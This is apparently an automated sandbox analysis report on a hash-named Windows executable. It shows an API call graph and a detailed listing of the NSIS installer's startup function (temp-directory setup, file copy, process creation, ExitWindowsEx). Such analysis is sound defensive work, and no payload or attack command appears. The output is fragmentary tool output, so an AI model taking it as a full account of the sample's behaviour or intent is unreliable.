40145c 18 API calls 4336->4337 4338 401a98 4337->4338 4339 40574d MessageBoxIndirectW 4338->4339 4340 401721 4339->4340 3094 403415 #17 SetErrorMode OleInitialize 3166 405bbf GetModuleHandleA 3094->3166 3098 403483 GetCommandLineW 3171 405ab8 lstrcpynW 3098->3171 3100 403495 GetModuleHandleW 3101 4034ad 3100->3101 3172 4057b3 3101->3172 3104 403566 3105 403585 GetTempPathW 3104->3105 3176 403360 3105->3176 3107 40359b 3108 4035c3 DeleteFileW 3107->3108 3109 40359f GetWindowsDirectoryW lstrcatW 3107->3109 3184 40311b GetTickCount GetModuleFileNameW 3108->3184 3111 403360 11 API calls 3109->3111 3110 4057b3 CharNextW 3117 4034ce 3110->3117 3113 4035bb 3111->3113 3113->3108 3115 403650 3113->3115 3114 4035d7 3114->3115 3118 4057b3 CharNextW 3114->3118 3151 403640 3114->3151 3267 4033eb 3115->3267 3117->3104 3117->3110 3123 403568 3117->3123 3128 4035ee 3118->3128 3121 403756 3124 4037d9 3121->3124 3126 405bbf 3 API calls 3121->3126 3122 403669 3274 40574d 3122->3274 3278 405ab8 lstrcpynW 3123->3278 3130 403765 3126->3130 3131 403618 3128->3131 3132 40367f lstrcatW lstrcmpiW 3128->3132 3133 405bbf 3 API calls 3130->3133 3279 406042 3131->3279 3132->3115 3135 40369b CreateDirectoryW SetCurrentDirectoryW 3132->3135 3136 40376e 3133->3136 3137 4036b3 3135->3137 3138 4036be 3135->3138 3140 405bbf 3 API calls 3136->3140 3295 405ab8 lstrcpynW 3137->3295 3296 405ab8 lstrcpynW 3138->3296 3144 403777 3140->3144 3143 4036cc 3297 405ab8 lstrcpynW 3143->3297 3147 4037c5 ExitWindowsEx 3144->3147 3153 403785 GetCurrentProcess 3144->3153 3147->3124 3150 4037d2 3147->3150 3148 403635 3294 405ab8 lstrcpynW 3148->3294 3325 40141d 3150->3325 3212 4053f8 3151->3212 3155 403795 3153->3155 3155->3147 3157 403701 CopyFileW 3163 4036db 3157->3163 3158 40374a 3159 406526 42 API calls 3158->3159 3161 403751 3159->3161 3161->3115 3162 4060ca 18 API calls 3162->3163 3163->3158 3163->3162 3165 403735 CloseHandle 3163->3165 3298 4060ca 3163->3298 3317 406526 3163->3317 3322 4056ec CreateProcessW 3163->3322 3165->3163 3167 405be4 GetProcAddress 3166->3167 3168 405bd9 LoadLibraryA 3166->3168 3169 403458 SHGetFileInfoW 3167->3169 3168->3167 3168->3169 3170 405ab8 lstrcpynW 3169->3170 3170->3098 3171->3100 3173 4057b9 3172->3173 3174 4034bc CharNextW 3173->3174 3175 4057c0 CharNextW 3173->3175 3174->3117 3175->3173 3328 405ae7 3176->3328 3178 403376 3178->3107 3179 40336c 3179->3178 3337 405fe6 lstrlenW CharPrevW 3179->3337 3344 4058fe GetFileAttributesW CreateFileW 3184->3344 3186 40315b 3187 40316b 3186->3187 3345 405ab8 lstrcpynW 3186->3345 3187->3114 3189 403181 3346 406015 lstrlenW 3189->3346 3193 403192 GetFileSize 3194 4031a9 3193->3194 3209 40328e 3193->3209 3194->3187 3200 403351 3194->3200 3208 402e3a 6 API calls 3194->3208 3194->3209 3351 402e9e ReadFile 3194->3351 3196 403297 3196->3187 3198 4032d3 GlobalAlloc 3196->3198 3386 402ed0 SetFilePointer 3196->3386 3364 402ed0 SetFilePointer 3198->3364 3203 402e3a 6 API calls 3200->3203 3202 4032b4 3205 402e9e ReadFile 3202->3205 3203->3187 3204 4032ee 3365 402ee7 3204->3365 3207 4032bf 3205->3207 3207->3187 3207->3198 3208->3194 3353 402e3a 3209->3353 3210 4032fa 3210->3187 3210->3210 3211 403328 SetFilePointer 3210->3211 3211->3187 3213 405bbf 3 API calls 3212->3213 3214 40540e 3213->3214 3215 405414 3214->3215 3216 405426 3214->3216 3412 4059ff wsprintfW 3215->3412 3413 405981 RegOpenKeyExW 3216->3413 3220 405476 lstrcatW 3221 405424 3220->3221 3403 4039fc 3221->3403 3222 405981 3 API calls 3222->3220 3225 406042 18 API calls 3226 4054a7 3225->3226 3227 405543 3226->3227 3229 405981 3 API calls 3226->3229 3228 406042 18 API calls 3227->3228 3230 40554e 3228->3230 3231 4054d9 3229->3231 3232 40555e LoadImageW 3230->3232 3233 4060ca 18 API calls 3230->3233 3231->3227 3236 4054fe lstrlenW 3231->3236 3240 4057b3 CharNextW 3231->3240 3234 405613 3232->3234 3235 405589 RegisterClassW 3232->3235 3233->3232 3239 40141d 2 API calls 3234->3239 3237 40561d 3235->3237 3238 4055ce SystemParametersInfoW CreateWindowExW 3235->3238 3241 405532 3236->3241 3242 40550c lstrcmpiW 3236->3242 3237->3115 3238->3234 3243 405619 3239->3243 3244 4054f9 3240->3244 3246 405fe6 3 API calls 3241->3246 3242->3241 3245 40551c GetFileAttributesW 3242->3245 3243->3237 3249 4039fc 19 API calls 3243->3249 3244->3236 3248 405528 3245->3248 3247 405538 3246->3247 3418 405ab8 lstrcpynW 3247->3418 3248->3241 3252 406015 2 API calls 3248->3252 3250 40562a 3249->3250 3253 405636 ShowWindow LoadLibraryW 3250->3253 3254 4056bc 3250->3254 3252->3241 3255 405655 LoadLibraryW 3253->3255 3256 40565c GetClassInfoW 3253->3256 3419 404b48 OleInitialize 3254->3419 3255->3256 3258 405689 DialogBoxParamW 3256->3258 3259 40566f GetClassInfoW RegisterClassW 3256->3259 3261 40141d 2 API calls 3258->3261 3259->3258 3260 4056c2 3262 4056c6 3260->3262 3263 4056de 3260->3263 3265 4056b1 3261->3265 3262->3237 3266 40141d 2 API calls 3262->3266 3264 40141d 2 API calls 3263->3264 3264->3237 3265->3237 3266->3237 3268 403403 3267->3268 3269 4033f5 CloseHandle 3267->3269 3434 40380b 3268->3434 3269->3268 3275 405762 3274->3275 3276 403677 ExitProcess 3275->3276 3277 405778 MessageBoxIndirectW 3275->3277 3277->3276 3278->3105 3486 405ab8 lstrcpynW 3279->3486 3281 406053 3487 405807 CharNextW CharNextW 3281->3487 3284 405ae7 5 API calls 3290 406069 3284->3290 3285 4060a2 lstrlenW 3286 4060a9 3285->3286 3285->3290 3288 405fe6 3 API calls 3286->3288 3287 405b98 2 API calls 3287->3290 3289 4060af GetFileAttributesW 3288->3289 3291 403626 3289->3291 3290->3285 3290->3287 3290->3291 3292 406015 2 API calls 3290->3292 3291->3115 3293 405ab8 lstrcpynW 3291->3293 3292->3285 3293->3148 3294->3151 3295->3138 3296->3143 3297->3163 3301 4060d7 3298->3301 3299 406341 3300 4036f4 DeleteFileW 3299->3300 3495 405ab8 lstrcpynW 3299->3495 3300->3157 3300->3163 3301->3299 3303 406198 GetVersion 3301->3303 3304 40630b lstrlenW 3301->3304 3307 4060ca 10 API calls 3301->3307 3311 405ae7 5 API calls 3301->3311 3493 4059ff wsprintfW 3301->3493 3494 405ab8 lstrcpynW 3301->3494 3312 4061a5 3303->3312 3304->3301 3307->3304 3308 406217 GetSystemDirectoryW 3308->3312 3309 405981 3 API calls 3309->3312 3310 40622a GetWindowsDirectoryW 3310->3312 3311->3301 3312->3301 3312->3308 3312->3309 3312->3310 3313 4060ca 10 API calls 3312->3313 3314 4062a4 lstrcatW 3312->3314 3315 40625e SHGetSpecialFolderLocation 3312->3315 3313->3312 3314->3301 3315->3312 3316 406276 SHGetPathFromIDListW CoTaskMemFree 3315->3316 3316->3312 3318 405bbf 3 API calls 3317->3318 3319 40652d 3318->3319 3321 40654e 3319->3321 3496 40635b lstrcpyW 3319->3496 3321->3163 3323 405727 3322->3323 3324 40571b CloseHandle 3322->3324 3323->3163 3324->3323 3326 40139b 2 API calls 3325->3326 3327 401432 3326->3327 3327->3124 3335 405af4 3328->3335 3329 405b70 CharPrevW 3332 405b6a 3329->3332 3330 405b5d CharNextW 3330->3332 3330->3335 3331 4057b3 CharNextW 3331->3335 3332->3329 3333 405b92 3332->3333 3333->3179 3334 405b49 CharNextW 3334->3335 3335->3330 3335->3331 3335->3332 3335->3334 3336 405b58 CharNextW 3335->3336 3336->3330 3338 406003 lstrcatW 3337->3338 3339 40337e CreateDirectoryW 3337->3339 3338->3339 3340 40592d 3339->3340 3341 40593a GetTickCount GetTempFileNameW 3340->3341 3342 405970 3341->3342 3343 403392 3341->3343 3342->3341 3342->3343 3343->3107 3344->3186 3345->3189 3347 406024 3346->3347 3348 403187 3347->3348 3349 40602a CharPrevW 3347->3349 3350 405ab8 lstrcpynW 3348->3350 3349->3347 3349->3348 3350->3193 3352 402ebf 3351->3352 3352->3194 3354 402e43 3353->3354 3355 402e5b 3353->3355 3356 402e53 3354->3356 3357 402e4c DestroyWindow 3354->3357 3358 402e63 3355->3358 3359 402e6b GetTickCount 3355->3359 3356->3196 3357->3356 3387 405bf6 3358->3387 3361 402e79 CreateDialogParamW ShowWindow 3359->3361 3362 402e9c 3359->3362 3361->3362 3362->3196 3364->3204 3366 402f02 3365->3366 3367 402f2f 3366->3367 3391 402ed0 SetFilePointer 3366->3391 3369 402e9e ReadFile 3367->3369 3370 402f3a 3369->3370 3371 402f53 GetTickCount 3370->3371 3372 4030ae 3370->3372 3377 402f3e 3370->3377 3371->3377 3384 402fa0 3371->3384 3373 4030b2 3372->3373 3374 4030d6 3372->3374 3375 402e9e ReadFile 3373->3375 3374->3377 3378 402e9e ReadFile 3374->3378 3379 4030f5 WriteFile 3374->3379 3375->3377 3376 402e9e ReadFile 3376->3384 3377->3210 3378->3374 3379->3377 3380 403109 3379->3380 3380->3374 3380->3377 3381 402ff2 GetTickCount 3381->3384 3382 403017 MulDiv wsprintfW 3392 404a73 3382->3392 3384->3376 3384->3377 3384->3381 3384->3382 3385 40305b WriteFile 3384->3385 3385->3377 3385->3384 3386->3202 3388 405c13 PeekMessageW 3387->3388 3389 402e69 3388->3389 3390 405c09 DispatchMessageW 3388->3390 3389->3196 3390->3388 3391->3367 3393 404a8c 3392->3393 3402 404b30 3392->3402 3394 404aaa lstrlenW 3393->3394 3395 4060ca 18 API calls 3393->3395 3396 404ad3 3394->3396 3397 404ab8 lstrlenW 3394->3397 3395->3394 3399 404ae6 3396->3399 3400 404ad9 SetWindowTextW 3396->3400 3398 404aca lstrcatW 3397->3398 3397->3402 3398->3396 3401 404aec SendMessageW SendMessageW SendMessageW 3399->3401 3399->3402 3400->3399 3401->3402 3402->3384 3404 403a10 3403->3404 3426 4059ff wsprintfW 3404->3426 3406 403a84 3407 4060ca 18 API calls 3406->3407 3408 403a90 SetWindowTextW 3407->3408 3409 403aab 3408->3409 3410 403ac6 3409->3410 3411 4060ca 18 API calls 3409->3411 3410->3225 3411->3409 3412->3221 3414 4059b5 RegQueryValueExW 3413->3414 3415 405457 3413->3415 3416 4059d7 RegCloseKey 3414->3416 3415->3220 3415->3222 3416->3415 3418->3227 3427 403937 3419->3427 3421 404b92 3422 403937 SendMessageW 3421->3422 3424 404ba4 OleUninitialize 3422->3424 3423 404b6b 3423->3421 3430 40139b 3423->3430 3424->3260 3426->3406 3428 403940 SendMessageW 3427->3428 3429 40394f 3427->3429 3428->3429 3429->3423 3432 4013a2 3430->3432 3431 401410 3431->3423 3432->3431 3433 4013dd MulDiv SendMessageW 3432->3433 3433->3432 3436 403819 3434->3436 3435 403408 3438 406559 3435->3438 3436->3435 3437 40381e FreeLibrary GlobalFree 3436->3437 3437->3435 3437->3437 3439 406042 18 API calls 3438->3439 3440 40656c 3439->3440 3441 406577 DeleteFileW 3440->3441 3442 40658e 3440->3442 3472 403414 OleUninitialize 3441->3472 3443 4066df 3442->3443 3478 405ab8 lstrcpynW 3442->3478 3443->3472 3483 405b98 FindFirstFileW 3443->3483 3445 4065b6 3446 4065c2 lstrcatW 3445->3446 3447 4065cc 3445->3447 3448 4065d2 3446->3448 3449 406015 2 API calls 3447->3449 3451 4065e2 lstrcatW 3448->3451 3452 4065d8 3448->3452 3449->3448 3454 4065ea lstrlenW FindFirstFileW 3451->3454 3452->3451 3452->3454 3459 4066ce 3454->3459 3475 406611 3454->3475 3455 405fe6 3 API calls 3457 4066fb 3455->3457 3456 4057b3 CharNextW 3456->3475 3458 4058de 2 API calls 3457->3458 3460 406701 RemoveDirectoryW 3458->3460 3459->3443 3461 40672b 3460->3461 3462 40670c 3460->3462 3464 404a73 25 API calls 3461->3464 3466 404a73 25 API calls 3462->3466 3462->3472 3464->3472 3465 4066ab FindNextFileW 3467 4066c3 FindClose 3465->3467 3465->3475 3468 40671a 3466->3468 3467->3459 3469 406526 42 API calls 3468->3469 3469->3472 3471 406559 63 API calls 3471->3475 3472->3121 3472->3122 3474 404a73 25 API calls 3474->3465 3475->3456 3475->3465 3475->3471 3475->3474 3476 404a73 25 API calls 3475->3476 3477 406526 42 API calls 3475->3477 3479 405ab8 lstrcpynW 3475->3479 3480 4058de GetFileAttributesW 3475->3480 3476->3475 3477->3475 3478->3445 3479->3475 3481 4058fb DeleteFileW 3480->3481 3482 4058ed SetFileAttributesW 3480->3482 3481->3475 3482->3481 3484 405bb9 3483->3484 3485 405bae FindClose 3483->3485 3484->3455 3484->3472 3485->3484 3486->3281 3488 405824 3487->3488 3490 405836 3487->3490 3489 405831 CharNextW 3488->3489 3488->3490 3492 40585a 3489->3492 3491 4057b3 CharNextW 3490->3491 3490->3492 3491->3490 3492->3284 3492->3291 3493->3301 3494->3301 3495->3300 3497 406380 3496->3497 3498 4063a9 GetShortPathNameW 3496->3498 3522 4058fe GetFileAttributesW CreateFileW 3497->3522 3500 406520 3498->3500 3501 4063c2 3498->3501 3500->3321 3501->3500 3503 4063ca WideCharToMultiByte 3501->3503 3502 406389 CloseHandle GetShortPathNameW 3502->3500 3504 4063a1 3502->3504 3503->3500 3505 4063e7 WideCharToMultiByte 3503->3505 3504->3498 3504->3500 3505->3500 3506 4063ff wsprintfA 3505->3506 3507 4060ca 18 API calls 3506->3507 3508 40642b 3507->3508 3523 4058fe GetFileAttributesW CreateFileW 3508->3523 3510 406438 3510->3500 3511 406445 GetFileSize GlobalAlloc 3510->3511 3512 406516 CloseHandle 3511->3512 3513 406466 ReadFile 3511->3513 3512->3500 3513->3512 3514 406480 3513->3514 3514->3512 3524 405864 lstrlenA 3514->3524 3517 406499 lstrcpyA 3520 4064bb 3517->3520 3518 4064ad 3519 405864 4 API calls 3518->3519 3519->3520 3521 4064ee SetFilePointer WriteFile GlobalFree 3520->3521 3521->3512 3522->3502 3523->3510 3525 4058a5 lstrlenA 3524->3525 3526 4058ad 3525->3526 3527 40587e lstrcmpiA 3525->3527 3526->3517 3526->3518 3527->3526 3528 40589c CharNextA 3527->3528 3528->3525 4341 402218 4342 40145c 18 API calls 4341->4342 4343 402220 4342->4343 4344 40145c 18 API calls 4343->4344 4345 40222b 4344->4345 4346 40145c 18 API calls 4345->4346 4347 402235 4346->4347 4348 40145c 18 API calls 4347->4348 4349 402240 4348->4349 4350 40145c 18 API calls 4349->4350 4352 40224b 4350->4352 4351 402260 CoCreateInstance 4354 402280 4351->4354 4352->4351 4353 40145c 18 API calls 4352->4353 4353->4351 4355 402c18 SendMessageW 4356 402c34 InvalidateRect 4355->4356 4357 402c58 4355->4357 4356->4357 3584 401f9b 3585 40145c 18 API calls 3584->3585 3586 401fa2 3585->3586 3587 40145c 18 API calls 3586->3587 3588 401fac 3587->3588 3589 40145c 18 API calls 3588->3589 3590 401fb7 3589->3590 3591 40145c 18 API calls 3590->3591 3592 401fc1 3591->3592 3596 401435 3592->3596 3595 401ff9 3597 404a73 25 API calls 3596->3597 3598 401443 ShellExecuteW 3597->3598 3598->3595 3599 40139b 3601 4013a2 3599->3601 3600 401410 3601->3600 3602 4013dd MulDiv SendMessageW 3601->3602 3602->3601 4358 401c1c 4359 401446 18 API calls 4358->4359 4360 401c26 4359->4360 4361 401446 18 API calls 4360->4361 4362 401c30 4361->4362 4365 4059ff wsprintfW 4362->4365 4364 402c58 4365->4364 4366 403c1f 4367 403c3a 4366->4367 4375 403d67 4366->4375 4371 403c74 4367->4371 4397 403b31 WideCharToMultiByte 4367->4397 4368 403dd2 4369 403ea4 4368->4369 4370 403ddc GetDlgItem 4368->4370 4376 403952 8 API calls 4369->4376 4372 403e65 4370->4372 4373 403df6 4370->4373 4378 4038c7 19 API calls 4371->4378 4372->4369 4381 403e77 4372->4381 4373->4372 4380 403e1c 6 API calls 4373->4380 4375->4368 4375->4369 4377 403da3 GetDlgItem SendMessageW 4375->4377 4379 403e9f 4376->4379 4402 40390d EnableWindow 4377->4402 4383 403cb4 4378->4383 4380->4372 4385 403e8d 4381->4385 4386 403e7d SendMessageW 4381->4386 4384 4038c7 19 API calls 4383->4384 4388 403cc1 CheckDlgButton 4384->4388 4385->4379 4389 403e93 SendMessageW 4385->4389 4386->4385 4387 403dcd 4390 4038e9 SendMessageW 4387->4390 4400 40390d EnableWindow 4388->4400 4389->4379 4390->4368 4392 403cdf GetDlgItem 4401 403920 SendMessageW 4392->4401 4394 403cf5 SendMessageW 4395 403d12 GetSysColor 4394->4395 4396 403d1b SendMessageW SendMessageW lstrlenW SendMessageW SendMessageW 4394->4396 4395->4396 4396->4379 4398 403b50 GlobalAlloc WideCharToMultiByte 4397->4398 4399 403b6e 4397->4399 4398->4399 4399->4371 4400->4392 4401->4394 4402->4387 4403 401ba0 4404 40145c 18 API calls 4403->4404 4405 401ba8 ExpandEnvironmentStringsW 4404->4405 4406 401bbb 4405->4406 4408 401bcd 4405->4408 4407 401bc1 lstrcmpW 4406->4407 4406->4408 4407->4408 4409 401822 4410 40145c 18 API calls 4409->4410 4411 401829 GetFullPathNameW 4410->4411 4414 401840 4411->4414 4418 401863 4411->4418 4412 402c58 4413 40187b GetShortPathNameW 4413->4412 4415 405b98 2 API calls 4414->4415 4414->4418 4416 401853 4415->4416 4416->4418 4419 405ab8 lstrcpynW 4416->4419 4418->4412 4418->4413 4419->4418 4420 401625 4421 40162b 4420->4421 4422 40139b 2 API calls 4421->4422 4423 401634 4422->4423 4424 401ca6 4425 40145c 18 API calls 4424->4425 4426 401cae 4425->4426 4427 401446 18 API calls 4426->4427 4428 401cb8 wsprintfW 4427->4428 4429 402c58 4428->4429 4430 4028ab 4431 401446 18 API calls 4430->4431 4433 4028b5 4431->4433 4432 402838 4433->4432 4434 4028ee ReadFile 4433->4434 4435 402946 4433->4435 4434->4432 4434->4433 4435->4432 4436 401446 18 API calls 4435->4436 4437 40298e 4436->4437 4438 402995 SetFilePointer 4437->4438 4438->4432 4439 4029a6 4438->4439 4441 4059ff wsprintfW 4439->4441 4441->4432 3607 40172d 3608 40145c 18 API calls 3607->3608 3609 401735 3608->3609 3610 405807 4 API calls 3609->3610 3620 40173d 3610->3620 3611 401786 3612 4017aa 3611->3612 3613 40178c 3611->3613 3619 401435 25 API calls 3612->3619 3616 401435 25 API calls 3613->3616 3614 4057b3 CharNextW 3615 40174b CreateDirectoryW 3614->3615 3617 401761 GetLastError 3615->3617 3615->3620 3618 401793 3616->3618 3617->3620 3621 40176e GetFileAttributesW 3617->3621 3625 405ab8 lstrcpynW 3618->3625 3624 4017b1 3619->3624 3620->3611 3620->3614 3621->3620 3623 40179e SetCurrentDirectoryW 3623->3624 3625->3623 4442 4026ae 4443 4026bc 4442->4443 4444 4026bd CloseHandle 4443->4444 4445 402c58 4444->4445 4446 402a2f 4447 40145c 18 API calls 4446->4447 4448 402a3c 4447->4448 4449 402a53 4448->4449 4450 40145c 18 API calls 4448->4450 4451 4058de 2 API calls 4449->4451 4450->4449 4452 402a59 4451->4452 4472 4058fe GetFileAttributesW CreateFileW 4452->4472 4454 402a66 4455 402a72 GlobalAlloc 4454->4455 4456 402b0f 4454->4456 4457 402b06 CloseHandle 4455->4457 4458 402a8b 4455->4458 4459 402b16 DeleteFileW 4456->4459 4460 402b29 4456->4460 4457->4456 4473 402ed0 SetFilePointer 4458->4473 4459->4460 4462 402a92 4463 402e9e ReadFile 4462->4463 4464 402a9b GlobalAlloc 4463->4464 4465 402aab 4464->4465 4466 402add WriteFile GlobalFree 4464->4466 4467 402ee7 33 API calls 4465->4467 4468 402ee7 33 API calls 4466->4468 4471 402ab9 4467->4471 4469 402b04 4468->4469 4469->4457 4470 402ad4 GlobalFree 4470->4466 4471->4470 4472->4454 4473->4462 4474 402b2f 4475 401446 18 API calls 4474->4475 4476 402b36 4475->4476 4477 401721 4476->4477 4478 402b85 4476->4478 4479 402b78 4476->4479 4481 4060ca 18 API calls 4478->4481 4480 401446 18 API calls 4479->4480 4480->4477 4481->4477 4482 4020af 4483 40145c 18 API calls 4482->4483 4484 4020b7 GetFileVersionInfoSizeW 4483->4484 4485 4020dd GlobalAlloc 4484->4485 4489 402c58 4484->4489 4486 4020f1 GetFileVersionInfoW 4485->4486 4485->4489 4487 402101 VerQueryValueW 4486->4487 4488 402132 GlobalFree 4486->4488 4487->4488 4490 40211a 4487->4490 4488->4489 4495 4059ff wsprintfW 4490->4495 4493 402126 4496 4059ff wsprintfW 4493->4496 4495->4493 4496->4488 4497 4029af 4501 405a18 4497->4501 4500 402c58 4502 4029bd FindClose 4501->4502 4502->4500 4503 402db4 4504 402dc6 SetTimer 4503->4504 4505 402ddf 4503->4505 4504->4505 4506 402e34 4505->4506 4507 402df9 MulDiv wsprintfW SetWindowTextW SetDlgItemTextW 4505->4507 4507->4506 4508 404bb4 4509 404d61 4508->4509 4510 404bd5 GetDlgItem GetDlgItem GetDlgItem 4508->4510 4511 404d6a GetDlgItem CreateThread CloseHandle 4509->4511 4515 404d92 4509->4515 4554 403920 SendMessageW 4510->4554 4511->4515 4513 404c49 4519 404c50 GetClientRect GetSystemMetrics SendMessageW SendMessageW 4513->4519 4514 404dc0 4518 404e1e 4514->4518 4521 404dd1 4514->4521 4522 404df7 ShowWindow 4514->4522 4515->4514 4516 404de2 4515->4516 4517 404dac ShowWindow ShowWindow 4515->4517 4523 403952 8 API calls 4516->4523 4556 403920 SendMessageW 4517->4556 4518->4516 4526 404e29 SendMessageW 4518->4526 4524 404ca3 SendMessageW SendMessageW 4519->4524 4525 404cbf 4519->4525 4527 4038a0 SendMessageW 4521->4527 4529 404e17 4522->4529 4530 404e09 4522->4530 4528 404d5a 4523->4528 4524->4525 4533 404cd2 4525->4533 4534 404cc4 SendMessageW 4525->4534 4526->4528 4535 404e42 CreatePopupMenu 4526->4535 4527->4516 4532 4038a0 SendMessageW 4529->4532 4531 404a73 25 API calls 4530->4531 4531->4529 4532->4518 4536 4038c7 19 API calls 4533->4536 4534->4533 4537 4060ca 18 API calls 4535->4537 4538 404ce2 4536->4538 4539 404e52 AppendMenuW 4537->4539 4540 404ceb ShowWindow 4538->4540 4541 404d1f GetDlgItem SendMessageW 4538->4541 4542 404e65 GetWindowRect 4539->4542 4543 404e78 4539->4543 4544 404d01 ShowWindow 4540->4544 4545 404d0e 4540->4545 4541->4528 4547 404d42 SendMessageW SendMessageW 4541->4547 4546 404e7f TrackPopupMenu 4542->4546 4543->4546 4544->4545 4555 403920 SendMessageW 4545->4555 4546->4528 4548 404e9d 4546->4548 4547->4528 4550 404eb9 SendMessageW 4548->4550 4550->4550 4551 404ed6 OpenClipboard EmptyClipboard GlobalAlloc GlobalLock 4550->4551 4552 404efb SendMessageW 4551->4552 4552->4552 4553 404f26 GlobalUnlock SetClipboardData CloseClipboard 4552->4553 4553->4528 4554->4513 4555->4541 4556->4514 4557 4017b6 4558 40145c 18 API calls 4557->4558 4559 4017bd 4558->4559 4560 405b98 2 API calls 4559->4560 4561 4017c3 4560->4561 4562 402bb6 4563 401446 18 API calls 4562->4563 4564 402bbd 4563->4564 4565 4060ca 18 API calls 4564->4565 4566 401721 4564->4566 4565->4566 4567 401639 4568 404a73 25 API calls 4567->4568 4569 401641 4568->4569 4570 40243c 4571 40145c 18 API calls 4570->4571 4572 402454 4571->4572 4573 40145c 18 API calls 4572->4573 4574 40245e 4573->4574 4575 40145c 18 API calls 4574->4575 4576 402469 GetPrivateProfileStringW lstrcmpW 4575->4576

                                            Executed Functions

                                            Function 00403415 Relevance: 58.1, APIs: 22, Strings: 11, Instructions: 307filestringcomCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 0 403415-4034ab #17 SetErrorMode OleInitialize call 405bbf SHGetFileInfoW call 405ab8 GetCommandLineW call 405ab8 GetModuleHandleW 7 4034b5-4034c9 call 4057b3 CharNextW 0->7 8 4034ad-4034b0 0->8 11 40355a-403560 7->11 8->7 12 403566 11->12 13 4034ce-4034d4 11->13 14 403585-40359d GetTempPathW call 403360 12->14 15 4034d6-4034db 13->15 16 4034dd-4034e1 13->16 25 4035c3-4035dd DeleteFileW call 40311b 14->25 26 40359f-4035bd GetWindowsDirectoryW lstrcatW call 403360 14->26 15->15 15->16 18 4034e3-4034e7 16->18 19 4034e8-4034ec 16->19 18->19 20 403549-403556 call 4057b3 19->20 21 4034ee-4034f4 19->21 20->11 34 403558-403559 20->34 23 4034f6-4034fe 21->23 24 40350a-40351c call 403394 21->24 28 403500-403503 23->28 29 403505 23->29 40 403532-403547 call 403394 24->40 41 40351e-403526 24->41 38 403654-403663 call 4033eb OleUninitialize 25->38 39 4035df-4035e5 25->39 26->25 26->38 28->24 28->29 29->24 34->11 54 403756-40375c 38->54 55 403669-403679 call 40574d ExitProcess 38->55 42 403644-40364b call 4053f8 39->42 43 4035e7-4035f0 call 4057b3 39->43 40->20 56 403568-403580 call 4076da call 405ab8 40->56 45 403528-40352b 41->45 46 40352d 41->46 53 403650 42->53 57 403608-40360a 43->57 45->40 45->46 46->40 53->38 59 4037d9-4037e1 54->59 60 40375e-40377b call 405bbf * 3 54->60 56->14 64 4035f2-403604 call 403394 57->64 65 40360c-403616 57->65 66 4037e3 59->66 67 4037e7 59->67 91 4037c5-4037d0 ExitWindowsEx 60->91 92 40377d-40377f 60->92 64->65 78 403606-403607 64->78 72 403618-403628 call 406042 65->72 73 40367f-403699 lstrcatW lstrcmpiW 65->73 66->67 72->38 85 40362a-403640 call 405ab8 * 2 72->85 73->38 77 40369b-4036b1 CreateDirectoryW SetCurrentDirectoryW 73->77 81 4036b3-4036b9 call 405ab8 77->81 82 4036be-4036de call 405ab8 * 2 77->82 78->57 81->82 99 4036e3-4036ff call 4060ca DeleteFileW 82->99 85->42 91->59 96 4037d2-4037d4 call 40141d 91->96 92->91 97 403781-403783 92->97 96->59 97->91 101 403785-403797 GetCurrentProcess 97->101 106 403740-403748 99->106 107 403701-403711 CopyFileW 99->107 101->91 105 403799-4037bb 101->105 105->91 106->99 108 40374a-403751 call 406526 106->108 107->106 109 403713-403733 call 406526 call 4060ca call 4056ec 107->109 108->38 109->106 119 403735-40373c CloseHandle 109->119 119->106
                                            APIs
                                            • #17.COMCTL32 ref: 00403434
                                            • SetErrorMode.KERNELBASE(00008001), ref: 0040343F
                                            • OleInitialize.OLE32(00000000), ref: 00403446
                                              • Part of subcall function 00405BBF: GetModuleHandleA.KERNEL32(?,?,00000020,00403458,00000008), ref: 00405BCF
                                              • Part of subcall function 00405BBF: LoadLibraryA.KERNELBASE(?,?,00000020,00403458,00000008), ref: 00405BDA
                                              • Part of subcall function 00405BBF: GetProcAddress.KERNEL32(00000000,?), ref: 00405BEB
                                            • SHGetFileInfoW.SHELL32(0040856C,00000000,?,000002B4,00000000), ref: 0040346E
                                              • Part of subcall function 00405AB8: lstrcpynW.KERNEL32(?,?,00002004,00403483,004732A0,NSIS Error), ref: 00405AC5
                                            • GetCommandLineW.KERNEL32(004732A0,NSIS Error), ref: 00403483
                                            • GetModuleHandleW.KERNEL32(00000000,"C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe",00000000), ref: 00403496
                                            • CharNextW.USER32(00000000,"C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe",00000020), ref: 004034BD
                                            • GetTempPathW.KERNEL32(00002004,004E00C8,00000000,00000020), ref: 00403590
                                            • GetWindowsDirectoryW.KERNEL32(004E00C8,00001FFF), ref: 004035A5
                                            • lstrcatW.KERNEL32(004E00C8,\Temp), ref: 004035B1
                                            • DeleteFileW.KERNELBASE(004DC0C0), ref: 004035C8
                                            • OleUninitialize.OLE32(?), ref: 00403659
                                            • ExitProcess.KERNEL32 ref: 00403679
                                            • lstrcatW.KERNEL32(004E00C8,~nsu.tmp), ref: 00403685
                                            • lstrcmpiW.KERNEL32(004E00C8,C:\Users\user\Desktop,004E00C8,~nsu.tmp), ref: 00403691
                                            • CreateDirectoryW.KERNEL32(004E00C8,00000000), ref: 0040369D
                                            • SetCurrentDirectoryW.KERNEL32(004E00C8), ref: 004036A4
                                            • DeleteFileW.KERNEL32(0043BD40,0043BD40,?,00480008,0040850C,0047C000,?), ref: 004036F5
                                            • CopyFileW.KERNEL32(C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe,0043BD40,00000001), ref: 00403709
                                            • CloseHandle.KERNEL32(00000000,0043BD40,0043BD40,?,0043BD40,00000000), ref: 00403736
                                            • GetCurrentProcess.KERNEL32(00000028,00000005,00000005,00000004,00000003), ref: 0040378C
                                            • ExitWindowsEx.USER32(00000002,00000000), ref: 004037C8
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000000.00000002.1651586398.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                            • Associated: 00000000.00000002.1651097527.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651606542.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
